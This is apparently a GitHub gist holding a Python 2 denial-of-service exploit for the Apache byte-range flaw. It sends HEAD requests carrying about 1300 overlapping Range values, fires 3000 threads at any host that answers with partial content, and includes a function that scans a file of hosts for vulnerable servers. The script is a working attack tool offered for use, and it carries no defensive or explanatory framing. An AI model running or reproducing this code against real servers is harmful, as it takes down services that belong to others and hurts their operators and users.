Skip to content

Instantly share code, notes, and snippets.

@zhuowater
Created August 25, 2011 06:50
Show Gist options
  • Save zhuowater/1170118 to your computer and use it in GitHub Desktop.
Save zhuowater/1170118 to your computer and use it in GitHub Desktop.
# -*- coding: utf-8 -*-
import socket
import threading
THMAX=3000
def test_apache(host):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,80))
p=','.join(['5-%d'%i for i in range(1300)])
#print p
s.sendall("HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-,%s\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"%p)
buf=s.recv(1024)
return buf
def attack(host):
f=test_apache(host)
print f
if "Partial" in f:
print 'ATTACK %s'%host
for i in range(THMAX):
print i
t = threading.Thread(target=test_apache,args=(host,))
t.start()
def detect(file):
f=open(file,'r')
for i in f:
host=i.strip('\n')
try:
fl=test_apache(host)
if "Partial" in fl:
print 'WARNNING %s'%host
except:
continue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment